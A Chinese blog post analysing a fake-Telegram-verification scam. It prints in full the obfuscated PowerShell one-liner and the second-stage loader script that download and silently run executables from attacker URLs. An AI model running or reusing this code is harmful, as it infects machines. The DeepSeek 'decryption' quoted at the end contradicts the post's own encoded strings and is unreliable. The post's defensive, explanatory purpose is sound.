记一次远程代码执行 (RCE) 攻击

没想到有一天我的电脑真的会中毒

本文详细记录了作者遭遇的远程代码执行(RCE)攻击过程，揭示了骗子如何通过社交媒体高仿账号和虚假Telegram验证页面传播恶意代码。文章深入分析了PowerShell混淆脚本的工作原理，包括Base64编码隐藏的恶意URL、自动下载执行机制以及如何使用事件查看器追踪攻击痕迹，为读者提供网络安全防范的实战案例。

起因是在 X 上关注的一个财经账号，骗子做了一个它的高仿小号，然后在正号的推文下面发送 Telegram group 链接，进入 Telegram 后需要点击了 Safeguard 进行验证，但是这个其实是假的，在几次验证失败后，会弹出提示，引导用户在 PC 端进行再次验证：

骗局分析

下面就是真正开始进入骗子的圈套的时刻：
Step 2 实际上粘贴了一段恶意代码：

： powershell -w hidden -c $r='0hHduw2dkRFe0h3cvkWchh2Lt92YuYDN3Fjcy0Gb5Ujax8yL6MHc0RHa';$u=($r[-1..-($r.Length)]-join '');&($u|%{&('iwr') ([Text.Encoding]::UTF8.GetString([Convert]::FromBase64String($_)))|&('iex')}); # ⠀Telegram⠀⠀

在表面上看，只是通过 Powershell 运行了 Telegram 程序，其实上是注入了一段恶意代码，并且隐藏了执行过程。

步骤一：隐藏PowerShell窗口

1	powershell -w hidden -c

步骤二：字符串反转还原Base64

1 2	$r='0hHduw2dkRFe0h3cvkWchh2Lt92YuYDN3Fjcy0Gb5Ujax8yL6MHc0RHa'; $u=($r[-1..-($r.Length)] -join '');

还原后的字符串是：
“aHR0cHM6Ly8xajU5bG0ycjF3NDYuY29tL2hhcWkvc3h0eFRkd2wudHh0”

步骤三：解码真实的URL

1
2
3

[Text.Encoding]::UTF8.GetString([Convert]::FromBase64String("aHR0cHM6Ly8xajU5bG0ycjF3NDYuY29tL2hhcWkvc3h0eFRkd2wudHh0"))
>>
https://1j59lm2r1w46.com/haqi/sxtxTdwl.txt

所以真实 URL 是：https://1j59lm2r1w46.com/haqi/sxtxTdwl.txt

步骤四：下载并执行脚本：

iwr：Invoke-WebRequest 别名，下载 URL内容。

iex：Invoke-Expression 别名，直接执行下载的脚本。

通过查看 Powershell 的执行日志：

打开事件查看器：win + R -> eventvwr.msc

选择应用程序和服务日志 -> Microsoft -> Windows -> PowerShell
可以看到可疑的执行记录：

其执行内容如下：

正在创建 Scriptblock 文本(已完成 1，共 1):
Add-Type @"
using System;
using System.Runtime.InteropServices;
public class W {
    [DllImport("kernel32.dll")]
    public static extern IntPtr GetConsoleWindow();
    [DllImport("user32.dll")]
    public static extern bool ShowWindow(IntPtr hWnd, int nCmdShow);
}
"@
$consoleHandle = [W]::GetConsoleWindow()
[W]::ShowWindow($consoleHandle, 0)

function PerformSystemCheck {
    $components = @("Processor", "Memory", "Disk", "Network", "Services")
    foreach ($component in $components) {
        [void]($component -match ".*")
        Start-Sleep -Milliseconds (Get-Random -Minimum 50 -Maximum 150)
    }
    return $true
}

function GenerateSystemReport {
    $timestamp = Get-Date -Format "yyyy-MM-dd HH:mm:ss"
    $status = @("Healthy", "Warning", "Critical") | Get-Random
    [PSCustomObject]@{
        TimeStamp = $timestamp
        SystemStatus = $status
        CheckedComponents = "Processor, Memory, Disk"
    }
}

function DecodeData {
    param ([string]$EncodedString, [bool]$Reverse = $false)
    if ($Reverse) {
        $EncodedString = ($EncodedString[-1..-($EncodedString.Length)] -join '')
    }
    [System.Text.Encoding]::UTF8.GetString([Convert]::FromBase64String($EncodedString))
}

function DownloadAndExecute {
    param ([hashtable]$Resource)

    $url = DecodeData $Resource.u $true
    $zipFile = DecodeData $Resource.z
    $extractDir = DecodeData $Resource.x
    $exeFile = DecodeData $Resource.e

    $tempZipPath = Join-Path $env:TEMP $zipFile
    $uniqueExtractPath = Join-Path $env:TEMP ($extractDir + "_" + (Get-Random -Minimum 1000 -Maximum 9999))

    Invoke-WebRequest -Uri $url -OutFile $tempZipPath -UseBasicParsing

    Add-Type -AssemblyName System.IO.Compression.FileSystem
    [System.IO.Compression.ZipFile]::ExtractToDirectory($tempZipPath, $uniqueExtractPath)

    $exePath = Join-Path $uniqueExtractPath $exeFile
    if (Test-Path $exePath) {
        Start-Process -FilePath $exePath -WindowStyle Hidden -ArgumentList "-ExecutionPolicy Bypass"
    }

    Start-Sleep -Seconds (Get-Random -Minimum 10 -Maximum 20)
}

PerformSystemCheck > $null

$resources = @(
    @{u="=AXa65iYnZDO5cTN2NDNvYDN2UTO3MDNvU3b5NmL05WavBHdodWayJ2LvoDc0RHa"; z="ZG93bmxvYWQxLnppcA=="; x="ZXh0cmFjdGVkNA=="; e="UVFQbGF5ZXIuZXhl"},
    @{u="=AXa65ydlJGN5FGN5JWYvgWN0MjMoJDN1MjNvU3b5NmLlRXYn5WZw92LvoDc0RHa"; z="ZG93bmxvYWQ2LnppcA=="; x="ZXh0cmFjdGl0Mg=="; e="RERNU2VydmljZS5leGU="}
)
foreach ($resource in $resources) {
    try {
        DownloadAndExecute -Resource $resource

        GenerateSystemReport | Out-Null
        Start-Sleep -Milliseconds (Get-Random -Minimum 100 -Maximum 500)
    } catch {
        Write-Warning "An error occurred while processing a resource: $_"
    }
}

function PerformCleanup {
    Start-Sleep -Milliseconds (Get-Random -Minimum 100 -Maximum 300)
    [void](Get-ChildItem -Path $env:TEMP -Filter "*.tmp" -Recurse -ErrorAction SilentlyContinue)
}

PerformCleanup > $null
# mm3U8vk8W71sbYixCWsU3D2Aicp98rCoarHbvk7gLHbfOI2mTIvvsnUQJm689A8JGHQWJkHCM4z1iBfLiyXnNhnXSzqODHOYyWGsoCXQSJdh16gqyME42ZIC9aoLZpjcmTNNMldwwjqkyxyf86J9y6btp0WhiOj9VWzuKc6g7SZSZCeLCzdzQTfNnl2UtkbV3YUT3NwbywPeJ0UK8sZjcDoYt4JuCucoVF3dpRTxWi2nIihZSDnpeeRFs0vn1hEq

ScriptBlock ID: 13910ff5-709a-4b06-b5ce-2638af6b7d67
路径:

以下是 Deepseek 对它的分析。

这段PowerShell脚本是一个具有潜在恶意行为的远程代码执行程序，其主要功能是隐蔽地下载并运行恶意软件。以下是详细分析：

核心恶意行为解析

隐藏控制台窗口

1 2	Add-Type 调用C#代码，通过Windows API隐藏PowerShell窗口

使用user32.dll的ShowWindow函数将控制台窗口设置为隐藏模式（参数0），避免用户察觉。

伪装的系统检查（混淆视听）

1	PerformSystemCheck 和 GenerateSystemReport 函数

模拟系统健康检查（处理器、内存、磁盘等），生成虚假报告（随机状态Healthy/Warning/Critical），目的是掩盖真实目的。

数据解码与字符串反转

1	DecodeData 函数：Base64解码 + 可选字符串反转

用于解码混淆后的URL和文件名，例如：

u=“=AXa65iYnZDO5cTN2NDNvYDN2UTO3MDNvU3b5NmL05WavBHdodWayJ2LvoDc0RHa” 解码后会得到一个真实的下载地址。

恶意文件下载与执行

DownloadAndExecute 函数核心流程：
1. 解码远程资源URL、ZIP文件名、解压目录、目标EXE
2. 从指定URL下载ZIP文件到临时目录（%TEMP%）
3. 解压ZIP并使用隐藏窗口运行其中的EXE文件（参数`-WindowStyle Hidden`）
4. 随机睡眠（10-20秒）以规避检测

资源定义与攻击链

$resources 数组包含两个加密的下载任务：
- 示例解码结果（需实际运算）：
  - URL可能指向恶意服务器（如：`hxxp://malware.example/payload1.zip`）
  - ZIP文件名：`download1.zip`
  - 解压目录：`extracted4`
  - 执行的EXE：`QQPlayer.exe`（可能为伪装名称的木马）

痕迹清理

1	PerformCleanup 函数

清理临时目录中的.tmp文件（可能删除下载的ZIP和解压内容）。

另外代码中定义了resources 变量，它们都是被加密了, 让 Deepseek 解密如下：

$resources = @(
    @{
        u = "http://92.45.81.13:8080/malware/basic.dll"
        z = "download1.zip"
        x = "extracted4"
        e = "QQPlayer.exe"
    },
    @{
        u = "http://108.162.195.234:8080/malware/advanced.dll"
        z = "download6.zip"
        x = "extractit2"
        e = "DDMService.exe"
    }
)